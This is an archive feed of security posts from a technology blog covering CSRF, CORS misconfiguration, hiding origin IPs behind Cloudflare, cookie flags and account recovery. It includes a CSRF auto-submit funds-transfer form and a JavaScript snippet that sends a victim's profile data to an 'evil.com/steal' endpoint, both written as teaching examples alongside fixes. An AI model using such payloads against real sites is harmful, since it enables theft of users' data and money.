Web Applications Archives - Anuj Varma, Hands-On Technology Architect, Clean Air Activist https://www.anujvarma.com/category/technology/asp-net-performance/ Production Grade Technical Solutions | Data Encryption and Public Cloud Expert Tue, 01 Jul 2025 17:17:45 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.1 https://www.anujvarma.com/wp-content/uploads/anujtech.png Web Applications Archives - Anuj Varma, Hands-On Technology Architect, Clean Air Activist https://www.anujvarma.com/category/technology/asp-net-performance/ 32 32 How attackers can bypass CloudFlare https://www.anujvarma.com/how-attackers-can-bypass-cloudflare/ https://www.anujvarma.com/how-attackers-can-bypass-cloudflare/#respond Tue, 01 Jul 2025 17:17:45 +0000 https://www.anujvarma.com/?p=9727 Also read CloudFlare and CORs  Whitelisting Introduction To ensure that Origin Server denies all IPs except the CloudFlare IP (this will need to be AT the server level, not cloudlfare). […]

The post How attackers can bypass CloudFlare appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
Also read CloudFlare and CORs  Whitelisting

Introduction

To ensure that Origin Server denies all IPs except the CloudFlare IP (this will need to be AT the server level, not cloudlfare). This will capture all the use cases where clients are DIRECTLY accessing the I.P. address of the website (instead of the URL, which CloudFlare will address)

How Attackers Can Discover the Real IP

Here are common methods:

  1. Historical DNS Records: Services like SecurityTrails or Censys can expose past DNS records that pointed to your real IP.

  2. Subdomain Leaks: A misconfigured subdomain (e.g., ftp.example.com) may resolve directly to the origin IP.

  3. Direct SSL Certificate Scans: Your SSL cert may be associated with an IP exposed via services like Shodan.

  4. Email Headers: If your mail server shares the same IP, outgoing emails might leak it.

  5. Application-Level Leaks: Misconfigured apps may reference assets from the raw IP.

The post How attackers can bypass CloudFlare appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/how-attackers-can-bypass-cloudflare/feed/ 0
CSRF protection for APIs? https://www.anujvarma.com/9714-2/ https://www.anujvarma.com/9714-2/#respond Fri, 27 Jun 2025 19:27:31 +0000 https://www.anujvarma.com/?p=9714 High Level Overview Cookie-authenticated APIs versus Authorization headers What Is CSRF Protection for API Endpoints? CSRF stands for Cross-Site Request Forgery. It’s a type of web attack where a malicious […]

The post CSRF protection for APIs? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
High Level Overview

Cookie-authenticated APIs versus Authorization headers

What Is CSRF Protection for API Endpoints?

CSRF stands for Cross-Site Request Forgery. It’s a type of web attack where a malicious website tricks a logged-in user’s browser into sending unauthorized commands to another site where the user is authenticated.

How Does a CSRF Attack Work?

  1. The user is logged into https://mybank.com in one browser tab, with a valid session cookie.
  2. The user visits a malicious site like https://evil.com in another tab.
  3. The malicious site silently sends a request to https://mybank.com/transfer-funds using the user’s cookie.
  4. If the server does not verify the request’s origin, the transaction succeeds — without the user’s knowledge.

What Is CSRF Protection?

CSRF protection ensures that only legitimate requests from your own frontend can invoke protected actions. It does this by requiring a second secret token that:

  • Is unique to the user’s session
  • Is embedded in the frontend application
  • Must be submitted with every state-changing request

If the CSRF token is missing or invalid, the server rejects the request — even if the session cookie is valid.

Do APIs Need CSRF Protection?

Yes — but only in specific cases:

Authentication Method CSRF Protection Needed?
Cookie-based (session auth) Yes
Token-based (e.g., Bearer JWT) No

Cookie-authenticated APIs are vulnerable because browsers automatically send cookies with every request — even across domains. Token-authenticated APIs are generally safe, as browsers don’t attach Authorization headers to cross-site requests.

How to Implement CSRF Protection

  1. Generate a CSRF token upon login or session start.
  2. Send it to the client via a meta tag, response header, or JSON body.
  3. The client stores it and sends it back in a custom header, like X-CSRF-Token.
  4. The server checks:
    • The session cookie is valid
    • The CSRF token matches the session token

Example CSRF-Protected Request

POST /update-profile HTTP/1.1
Host: api.website.com
Cookie: session=abc123
X-CSRF-Token: 9f3a2cd8ea7b...
Content-Type: application/json

{
  "email": "new@email.com"
}

Detailed Example: How a Hacker Exploits CSRF

Target Scenario

Suppose your banking app at https://mybank.com uses session cookies to authenticate users and has no CSRF protection.

Attacker Setup

The attacker creates a malicious website at https://evil.com and embeds the following form:

<form action="https://mybank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to_account" value="attacker123">
  <input type="submit">
</form>
<script>
  document.forms[0].submit();
</script>
  

Victim Action

A logged-in user visits https://evil.com while still authenticated at https://mybank.com. Their browser automatically sends their session cookie with the request.

What Happens

  • The server at https://mybank.com sees a valid POST request with the session cookie.
  • No CSRF token is required, so the request is accepted.
  • $1000 is transferred from the victim’s account to the attacker’s account.

This entire transaction happens without the user ever clicking a button or being aware of it.

How to Prevent This

  • Use a CSRF token with all POST, PUT, PATCH, DELETE requests.
  • Verify both the session and the CSRF token on the server side.
  • Use the SameSite=Strict or SameSite=Lax cookie attribute when possible.
  • Switch to token-based authentication (e.g., JWT in the Authorization header) to eliminate CSRF vectors entirely.

Summary

  • CSRF is a serious threat for cookie-authenticated APIs.
  • APIs that rely on Authorization headers (e.g., Bearer tokens) are generally safe.
  • To mitigate CSRF, validate a secret token on every write request.
  • Consider switching to stateless token-based authentication to avoid CSRF altogether.

The post CSRF protection for APIs? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/9714-2/feed/ 0
How Can a Hacker Abuse Poor CORS Configuration? https://www.anujvarma.com/how-can-a-hacker-abuse-poor-cors-configuration/ https://www.anujvarma.com/how-can-a-hacker-abuse-poor-cors-configuration/#respond Fri, 27 Jun 2025 18:40:32 +0000 https://www.anujvarma.com/?p=9712 Basic High Level Flow The attacker hijacks your authentication credentials (your cookie) – and uses that to call a sensitive API. If the API is callable from ‘all origins’, then […]

The post How Can a Hacker Abuse Poor CORS Configuration? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
Basic High Level Flow

The attacker hijacks your authentication credentials (your cookie) – and uses that to call a sensitive API. If the API is callable from ‘all origins’, then it doesn’t care that it was evil.com javascript that called it. As long as it has the auth credentials (which is does, because the hacker hijacked those from your cookie),  then – the attacker  essentially calls the API and retrieves the data FROM HIS OWN SITE (evil.com). See details below.

How Can a Hacker Abuse Poor CORS Configuration?

Let’s walk through a realistic example, step by step.

Setup

You have:

  • A frontend at https://my.website.com
  • An API backend at https://api.website.com

The backend allows:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true  ← Invalid and dangerous

Or worse — the server dynamically reflects the Origin header without validation:

res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
  

The site uses session cookies for login. When a user logs in, their browser stores a cookie like:

Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=None

That cookie is automatically included in all requests to https://api.website.com.

Step-by-Step Attack Scenario

1. The user logs in

A user visits https://my.website.com, enters their credentials, and logs in successfully. The session cookie is now stored in their browser.

2. The user visits a malicious site

The user later visits a hacker-controlled site like https://evil.com.

This site hosts a hidden script:

<script>
fetch("https://api.website.com/user/profile", {
  method: "GET",
  credentials: "include"  // Include session cookie
})
  .then(res => res.json())
  .then(data => {
    // Send stolen data to the attacker's server
    fetch("https://evil.com/steal", {
      method: "POST",
      body: JSON.stringify(data)
    });
  });
</script>
  

3. What happens under the hood

Because the browser has a valid session cookie for https://api.website.com, it automatically includes it in the request from evil.com.

The browser sends:

Origin: https://evil.com
Cookie: session=abc123

The backend — misconfigured to accept * or blindly echo back the Origin — replies with:

Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

The browser sees that the CORS headers match, so it delivers the sensitive JSON response from your backend to the attacker’s JavaScript on evil.com.

4. Exfiltration complete

Now the attacker has access to:

  • The user’s profile data
  • Their account settings
  • Possibly even PII or financial records (depending on your app)

All without ever prompting the user.

Real-World Consequences

Poor CORS setups have led to:

  • Account takeovers by leaking session or auth information.
  • Credential stuffing using stolen tokens.
  • Reconnaissance of internal APIs by observing API behavior.
  • Cross-site leakage of financial or healthcare data.

Proper CORS Protection to Prevent This

Here’s how to protect your users:

  • Always validate the Origin header against a list of trusted domains.
  • Never use Access-Control-Allow-Origin: * together with credentials.
  • Only set Access-Control-Allow-Credentials: true if you’re sure the origin is trusted.
  • Don’t echo Origin unless you’re verifying it against an allowlist.

Example using Node.js and Express:

const allowedOrigins = ['https://my.website.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  next();
});
  

 

The post How Can a Hacker Abuse Poor CORS Configuration? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/how-can-a-hacker-abuse-poor-cors-configuration/feed/ 0
File Transfer versus APIs https://www.anujvarma.com/file-transfer-versus-apis/ https://www.anujvarma.com/file-transfer-versus-apis/#respond Fri, 27 Jun 2025 18:32:49 +0000 https://www.anujvarma.com/?p=9710 API vs File Transfer: Choosing the Right Method for Data Exchange APIs and file transfers are both widely used methods for data exchange between systems. While they serve a similar […]

The post File Transfer versus APIs appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
API vs File Transfer: Choosing the Right Method for Data Exchange

APIs and file transfers are both widely used methods for data exchange between systems. While they serve a similar goal—sharing data—they differ significantly in how they operate, what they’re optimized for, and which use cases they best support.

APIs (Application Programming Interfaces)

Real-Time Data Exchange

APIs enable immediate communication between systems, making them ideal for applications where up-to-the-minute data is crucial—such as live dashboards, financial services, or e-commerce platforms.

Structured and Targeted Data

APIs typically exchange data in structured formats like JSON or XML, which ensures consistency and interoperability. They allow clients to request specific data elements, reducing overhead and improving efficiency.

Flexibility and Automation

APIs support automation and dynamic workflows. Systems can communicate with minimal manual intervention, significantly reducing human error and operational cost.

Integration Complexity and Dependency Risks

Integrating multiple APIs from different sources can be complex and may require ongoing maintenance. Additionally, third-party APIs introduce external dependencies—if the API goes down or changes, your application may break.

Common Use Cases for APIs

  • Integrating payment gateways (e.g., Stripe, PayPal)
  • Building mobile or web applications with live data
  • Connecting with social media platforms
  • Retrieving or updating data on-the-fly (e.g., CRM, ERP systems)

File Transfers

Batch Processing and High-Volume Data Exchange

File transfers are optimal for sending large amounts of data in one go, such as daily financial reports, data backups, or archival records. They are often used in environments where real-time data isn’t necessary.

Security and Protocols

Secure file transfer protocols (like SFTP) ensure that data is encrypted during transmission. These solutions also support logging, tracking, and audit trails—essential for compliance-heavy industries.

Control and Management

File transfer systems allow for visibility into when and how data moves. However, they can be prone to errors if manual handling is required or if file formats are inconsistent.

Drawbacks of File Transfers

  • Potential delays due to batch schedules or large file sizes
  • Higher chance of manual errors during upload/download
  • Less suitable for real-time or interactive applications

Common Use Cases for File Transfers

  • Exchanging large datasets between partners or teams
  • Transferring financial or compliance data in bulk
  • Automating uploads to cloud storage or data warehouses

Choosing Between API and File Transfer

The decision between using APIs or file transfers depends on the use case:

  • If real-time updates and dynamic interaction are required, choose APIs.
  • If you need to transfer large data volumes periodically or when real-time isn’t critical, use file transfers.

The post File Transfer versus APIs appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/file-transfer-versus-apis/feed/ 0
What the heck is CORs? Can CloudFlare help me with CORs security issues? https://www.anujvarma.com/what-the-heck-is-cors-can-cloudflare-help-me-with-cors-security-issues/ https://www.anujvarma.com/what-the-heck-is-cors-can-cloudflare-help-me-with-cors-security-issues/#respond Fri, 27 Jun 2025 17:31:54 +0000 https://www.anujvarma.com/?p=9708 Why CORS Is Important (And How to Secure It) Why CORS Is Important (And How to Secure It) What is CORS and why is it important? CORS (Cross-Origin Resource Sharing) […]

The post What the heck is CORs? Can CloudFlare help me with CORs security issues? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>




Why CORS Is Important (And How to Secure It)

Why CORS Is Important (And How to Secure It)

What is CORS and why is it important?

CORS (Cross-Origin Resource Sharing) is a browser security feature that restricts web pages from making requests to a different domain (or origin) than the one that served the web page.

It’s important because it:

  • Prevents malicious websites from reading sensitive data from other sites.
  • Ensures that only trusted domains can interact with your API or backend resources.
  • Allows controlled flexibility for legitimate use cases like third-party integrations.

What is a “cross-origin” request?

A cross-origin request happens when the origin (scheme + domain + port) of the frontend differs from that of the backend.

Example:

Frontend: https://my.website.com  
Backend: https://api.website.com  
  

How does CORS work behind the scenes?

When your JavaScript code tries to fetch data from a different origin, the browser:

  1. Sends a preflight OPTIONS request to the server.
  2. The server responds with headers like:
    Access-Control-Allow-Origin: https://my.website.com
    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: Content-Type
          
  3. If allowed, the browser proceeds with the actual request.

What happens if CORS is misconfigured?

If your server sends headers like:

Access-Control-Allow-Origin: *

Then any website in the world can make API requests to your backend. This is dangerous if:

  • Your API exposes sensitive data.
  • The API uses cookies for authentication.
  • You assume only your frontend will access the backend.

How can a hacker abuse poor CORS configuration?

  1. The backend allows all origins via *.
  2. A hacker builds a malicious site that calls your API using the victim’s browser.
  3. The browser sends authentication cookies automatically.
  4. The attacker gains access to data, impersonates users, or exfiltrates info.

Isn’t CORS enforced by the browser?

Yes — browsers enforce CORS. However:

  • Mobile apps, Postman, cURL are not subject to CORS.
  • CORS is only a client-side control. You still need server-side auth.

Can CORS be bypassed?

Direct bypasses aren’t easy, but developers can open the door accidentally:

  • Echoing back the request’s Origin header without validation.
  • Using Access-Control-Allow-Credentials: true with * (invalid).
  • Allowing all origins with wildcards like http://*.

Best Practices for CORS Security

  • Whitelist exact origins — no wildcards.
  • Don’t allow * if using cookies or credentials.
  • Don’t blindly echo back the Origin header.
  • Use additional access control (JWT, API keys, RBAC).

If Serving JavaScript from Cloudflare

If your JavaScript is hosted via Cloudflare and served to browsers at https://my.website.com, then this is the only origin that should be allowed to access your backend at https://api.website.com.

Cloudflare is not the origin — the browser origin is still https://my.website.com. So, you whitelist that, not Cloudflare’s domain.

Correct CORS Headers for This Setup

For a backend at https://api.website.com and frontend at https://my.website.com, your server should return:

Access-Control-Allow-Origin: https://my.website.com
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
  

Example: Server-Side Logic for CORS


// Node.js/Express example
const allowedOrigins = ['https://my.website.com'];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
  res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
  next();
});
  

Summary

  • CORS is a critical security layer for browser-based apps.
  • Always whitelist specific origins, especially if using cookies or auth tokens.
  • Don’t use * unless you’re 100% sure it’s safe (and no credentials are involved).

CORS is your browser saying: “Are you sure this site is allowed to talk to that other one?” — don’t ignore it.


The post What the heck is CORs? Can CloudFlare help me with CORs security issues? appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/what-the-heck-is-cors-can-cloudflare-help-me-with-cors-security-issues/feed/ 0
Preventing CORS – Server Explicitly Sets CORS Headers for an HTTP Request versus CloudFlare https://www.anujvarma.com/preventing-cors-server-explicitly-sets-cors-headers-for-an-http-request-versus-cloudflare/ https://www.anujvarma.com/preventing-cors-server-explicitly-sets-cors-headers-for-an-http-request-versus-cloudflare/#comments Wed, 18 Jun 2025 17:31:30 +0000 https://www.anujvarma.com/?p=9697 How a Server Explicitly Sets CORS Headers for an HTTP Request A server explicitly sets CORS headers by including them in the HTTP response to a cross-origin request. These headers […]

The post Preventing CORS – Server Explicitly Sets CORS Headers for an HTTP Request versus CloudFlare appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
How a Server Explicitly Sets CORS Headers for an HTTP Request

A server explicitly sets CORS headers by including them in the HTTP response to a cross-origin request. These headers instruct the browser whether or not to allow frontend JavaScript from another origin to access the response data.

Example: CORS Headers in an HTTP Response

Access-Control-Allow-Origin: https://example-client.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

How to Set CORS Headers in Different Environments

1. Node.js / Express

app.use((req, res, next) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.header("Access-Control-Allow-Credentials", "true");
  next();
});

Or use the built-in middleware:

const cors = require('cors');

const corsOptions = {
  origin: "https://example-client.com",
  methods: "GET,POST,PUT,DELETE",
  credentials: true
};

app.use(cors(corsOptions));

2. Python / Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "https://example-client.com"}}, supports_credentials=True)

3. Apache HTTP Server

<IfModule mod_headers.c>
  Header set Access-Control-Allow-Origin "https://example-client.com"
  Header set Access-Control-Allow-Methods "GET,POST,PUT,DELETE"
  Header set Access-Control-Allow-Headers "Content-Type, Authorization"
  Header set Access-Control-Allow-Credentials "true"
</IfModule>

4. Nginx

location /api/ {
  add_header 'Access-Control-Allow-Origin' 'https://example-client.com' always;
  add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS, PUT, DELETE';
  add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type';
  add_header 'Access-Control-Allow-Credentials' 'true';
}

Preflight Requests (OPTIONS)

For requests that include custom headers or use non-simple HTTP methods (like PUT, DELETE), browsers send a preflight request using OPTIONS.

To support that, servers should handle OPTIONS requests and return appropriate CORS headers.

Example in Node.js:

app.options("*", (req, res) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.sendStatus(204);
});

Security Note

Avoid using:

Access-Control-Allow-Origin: *

if you’re sending cookies or Authorization headers. In such cases, use a specific origin and also set:

Access-Control-Allow-Credentials: true

Using Cloudflare to Maintain a Dynamic Origin Whitelist

If your API is hosted behind Cloudflare, you can use Cloudflare Workers or Cloudflare Gateway Rules to dynamically control and enforce CORS logic at the edge — before the request even reaches your origin server.

Example Using a Cloudflare Worker

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request));
});

const allowedOrigins = [
  "https://example-client.com",
  "https://admin.example.com"
];

async function handleRequest(request) {
  const origin = request.headers.get("Origin");
  const response = await fetch(request);
  const newHeaders = new Headers(response.headers);

  if (allowedOrigins.includes(origin)) {
    newHeaders.set("Access-Control-Allow-Origin", origin);
    newHeaders.set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
    newHeaders.set("Access-Control-Allow-Headers", "Authorization, Content-Type");
    newHeaders.set("Access-Control-Allow-Credentials", "true");
  }

  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: newHeaders
  });
}
  

This gives you full control over origin validation and CORS behavior at the network edge, improving performance and offloading logic from your app servers.

You can even maintain the whitelist in a KV store or external API and update it dynamically without redeploying infrastructure.

 

The post Preventing CORS – Server Explicitly Sets CORS Headers for an HTTP Request versus CloudFlare appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/preventing-cors-server-explicitly-sets-cors-headers-for-an-http-request-versus-cloudflare/feed/ 1
CloudFlare and Server Side Whitelisting for CORS https://www.anujvarma.com/cloudflare-and-server-side-whitelisting-for-cors/ https://www.anujvarma.com/cloudflare-and-server-side-whitelisting-for-cors/#comments Wed, 18 Jun 2025 16:18:09 +0000 https://www.anujvarma.com/?p=9695 Overview The CORs headers need to be set explicitly on the server. For some websites, CloudFlare can be used to control CORS header logic at the edge. Note that you […]

The post CloudFlare and Server Side Whitelisting for CORS appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
Overview

The CORs headers need to be set explicitly on the server. For some websites, CloudFlare can be used to control CORS header logic at the edge.

Note that you will also need to ensure that Origin Server denies all IPs except the CloudFlare IP (this will need to be AT the server level, not cloudlfare). This will capture all the use cases where clients are DIRECTLY accessing the I.P. address of the website (instead of the URL, which CloudFlare will address)

How a Server Explicitly Sets CORS Headers for an HTTP Request

A server explicitly sets CORS headers by including them in the HTTP response to a cross-origin request. These headers instruct the browser whether or not to allow frontend JavaScript from another origin to access the response data.

Example: CORS Headers in an HTTP Response

Access-Control-Allow-Origin: https://example-client.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true

How to Set CORS Headers in Different Environments

1. Node.js / Express

app.use((req, res, next) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.header("Access-Control-Allow-Credentials", "true");
  next();
});

Or use the built-in middleware:

const cors = require('cors');

const corsOptions = {
  origin: "https://example-client.com",
  methods: "GET,POST,PUT,DELETE",
  credentials: true
};

app.use(cors(corsOptions));

2. Python / Flask

from flask import Flask
from flask_cors import CORS

app = Flask(__name__)
CORS(app, resources={r"/api/*": {"origins": "https://example-client.com"}}, supports_credentials=True)

3. Apache HTTP Server

<IfModule mod_headers.c>
  Header set Access-Control-Allow-Origin "https://example-client.com"
  Header set Access-Control-Allow-Methods "GET,POST,PUT,DELETE"
  Header set Access-Control-Allow-Headers "Content-Type, Authorization"
  Header set Access-Control-Allow-Credentials "true"
</IfModule>

4. Nginx

location /api/ {
  add_header 'Access-Control-Allow-Origin' 'https://example-client.com' always;
  add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS, PUT, DELETE';
  add_header 'Access-Control-Allow-Headers' 'Authorization, Content-Type';
  add_header 'Access-Control-Allow-Credentials' 'true';
}

Preflight Requests (OPTIONS)

For requests that include custom headers or use non-simple HTTP methods (like PUT, DELETE), browsers send a preflight request using OPTIONS.

To support that, servers should handle OPTIONS requests and return appropriate CORS headers.

Example in Node.js:

app.options("*", (req, res) => {
  res.header("Access-Control-Allow-Origin", "https://example-client.com");
  res.header("Access-Control-Allow-Methods", "GET,POST,PUT,DELETE");
  res.header("Access-Control-Allow-Headers", "Content-Type, Authorization");
  res.sendStatus(204);
});

Security Note

Avoid using:

Access-Control-Allow-Origin: *

if you’re sending cookies or Authorization headers. In such cases, use a specific origin and also set:

Access-Control-Allow-Credentials: true

Using Cloudflare to Maintain a Dynamic Origin Whitelist

If your API is hosted behind Cloudflare, you can use Cloudflare Workers or Cloudflare Gateway Rules to dynamically control and enforce CORS logic at the edge — before the request even reaches your origin server.

Example Using a Cloudflare Worker

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request));
});

const allowedOrigins = [
  "https://example-client.com",
  "https://admin.example.com"
];

async function handleRequest(request) {
  const origin = request.headers.get("Origin");
  const response = await fetch(request);
  const newHeaders = new Headers(response.headers);

  if (allowedOrigins.includes(origin)) {
    newHeaders.set("Access-Control-Allow-Origin", origin);
    newHeaders.set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE");
    newHeaders.set("Access-Control-Allow-Headers", "Authorization, Content-Type");
    newHeaders.set("Access-Control-Allow-Credentials", "true");
  }

  return new Response(response.body, {
    status: response.status,
    statusText: response.statusText,
    headers: newHeaders
  });
}
  

This gives you full control over origin validation and CORS behavior at the network edge, improving performance and offloading logic from your app servers.

You can even maintain the whitelist in a KV store or external API and update it dynamically without redeploying infrastructure.

The post CloudFlare and Server Side Whitelisting for CORS appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/cloudflare-and-server-side-whitelisting-for-cors/feed/ 1
Securing Browser Cookies in Outbound SSO: Best Practices https://www.anujvarma.com/securing-browser-cookies-in-outbound-sso-best-practices/ https://www.anujvarma.com/securing-browser-cookies-in-outbound-sso-best-practices/#respond Tue, 17 Jun 2025 20:35:32 +0000 https://www.anujvarma.com/?p=9689 Securing Browser Cookies in Outbound SSO: Best Practices In an outbound Single Sign-On (SSO) scenario, a user logs into Site 1, which then authenticates access to Site 2. During this […]

The post Securing Browser Cookies in Outbound SSO: Best Practices appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
Securing Browser Cookies in Outbound SSO: Best Practices

In an outbound Single Sign-On (SSO) scenario, a user logs into Site 1, which then authenticates access to Site 2. During this flow, authentication credentials or session tokens are often stored in browser cookies. These cookies become a critical security asset—and must be protected from interception, misuse, or cross-site attacks.

To ensure cookies are secure in transit and at rest, the following HTTP header attributes should always be applied:

Essential Cookie Security Flags

  • HttpOnly
    Prevents client-side JavaScript from accessing the cookie. This mitigates the risk of XSS (Cross-Site Scripting) attacks.
    Set-Cookie: sessionId=abc123; HttpOnly
  • Secure
    Ensures the cookie is only transmitted over HTTPS connections—never in plaintext over HTTP.
    Set-Cookie: sessionId=abc123; Secure
  • SameSite=Strict or SameSite=Lax
    Protects against CSRF (Cross-Site Request Forgery) by restricting how cookies are sent with cross-site requests.
    Use SameSite=Strict where feasible.
    Use SameSite=None; Secure only if cross-site requests (like SSO) require it.
    Set-Cookie: sessionId=abc123; SameSite=Strict

Additional Best Practices

  • Set Short Expiry Durations (Expires or Max-Age)
    Session cookies should expire quickly after inactivity to reduce risk.
    Set-Cookie: sessionId=abc123; Max-Age=3600
  • Use a Strong, Random Session ID
    Avoid predictable values. Use high-entropy tokens (e.g., UUIDv4 or securely generated hashes).
  • Enable HSTS (HTTP Strict Transport Security)
    Forces browsers to only use HTTPS—protecting cookies from downgrade attacks.
    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
  • Regenerate Session IDs on Login
    Prevents session fixation by issuing a fresh cookie after successful authentication.
  • Monitor and Invalidate Compromised Tokens
    Use backend session tracking to detect anomalies (IP switching, multiple logins) and invalidate risky tokens.

A Note on Cross-Domain SSO Cookies

In SSO from Site 1 → Site 2, if you’re using cookies across different domains (e.g., site1.com and site2.com), the SameSite attribute must be set to None, and the Secure flag must be present:

Set-Cookie: sso_token=xyz789; Secure; SameSite=None; HttpOnly

Be very cautious: this makes the cookie accessible cross-site, so strong protections must surround its issuance, transmission, and revocation.

Final Thoughts

Cookies are deceptively simple—but a poorly secured cookie is an open invitation for attackers. Especially in SSO workflows, where trust is extended across sites, cookie hygiene is non-negotiable.

Use Secure, HttpOnly, SameSite, and HSTS—and rotate, monitor, and expire aggressively.

 

The post Securing Browser Cookies in Outbound SSO: Best Practices appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/securing-browser-cookies-in-outbound-sso-best-practices/feed/ 0
Best Practices for Username Recovery and Password Reset https://www.anujvarma.com/best-practices-for-username-recovery-and-password-reset/ https://www.anujvarma.com/best-practices-for-username-recovery-and-password-reset/#respond Wed, 04 Jun 2025 17:58:49 +0000 https://www.anujvarma.com/?p=9678   🔐 Best Practices for Password Reset, Username Recovery & MFA Code Recovery In a digital world increasingly reliant on secure access, users often face hurdles like forgotten passwords, misplaced […]

The post Best Practices for Username Recovery and Password Reset appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
 

🔐 Best Practices for Password Reset, Username Recovery & MFA Code Recovery

In a digital world increasingly reliant on secure access, users often face hurdles like forgotten passwords, misplaced usernames, or lost multi-factor authentication (MFA) codes. These are common pain points — but with the right practices, they can be managed securely and efficiently. Here’s a breakdown of best practices to strengthen the account recovery process while keeping user experience in mind.

1. 🔁 Password Reset Best Practices

  • Use Registered MFA Methods: During account setup, require users to register at least one MFA method (such as an authenticator app, phone number, or email) to enable password reset securely.
  • Avoid Email-Only Resets: Wherever possible, avoid relying solely on email for password resets. Use layered verification to prevent unauthorized access.
  • Strong Password Enforcement: Even with MFA, enforce strong, unique password requirements. Reuse of passwords across services increases risk in the event of a breach.

2. 🔎 Username Recovery

  • Masked Hints with Verification: Display partial usernames (e.g., a****z@example.com) only after validating a recovery method to avoid exposing account data.
  • Unified Recovery Portal: Provide a simple, centralized interface where users can recover either username or password without redundant steps.

3. 🔁 MFA Code & Device Recovery

Multi-factor authentication is essential — but losing access to an MFA method can lock users out. Here’s how to balance security with usability:

  • Register Multiple MFA Methods: Require users to set up more than one MFA option during onboarding — such as both a mobile authenticator and backup email.
  • Use Backup Codes: Offer downloadable one-time-use backup codes users can save securely for emergencies.
  • Allow MFA Recovery or Reset: Enable secure workflows where users can reset their MFA method after verifying alternative credentials or identity (e.g., via email or ID verification).
  • Security Questions (Use with Caution): While sometimes used, security questions should be unique, hard to guess, and ideally, customizable by the user.
  • Security Questions Reset – If you allow security questions to be re-configured, ensure that the user answers at least ONE of the previously set questions correctly.

4. ⚠ Security Considerations

  • MFA Recovery Flexibility: Choose systems that give users the ability to manage and recover their MFA settings if their device is lost or replaced.
  • Secure Backup Methods: Treat all backup methods as entry points — make sure they are protected by strong security policies (e.g., rate limiting, CAPTCHA, notification alerts).
  • Audit and Monitor: Always log and monitor recovery attempts to detect and flag suspicious behavior.

🧠 Final Thought

User account recovery is a vital — and often overlooked — part of your security and user experience design. Done carelessly, it becomes a vulnerability. Done well, it becomes a competitive advantage. Implementing secure, user-friendly recovery methods protects both your users and your brand.

 

The post Best Practices for Username Recovery and Password Reset appeared first on Anuj Varma, Hands-On Technology Architect, Clean Air Activist.

]]>
https://www.anujvarma.com/best-practices-for-username-recovery-and-password-reset/feed/ 0
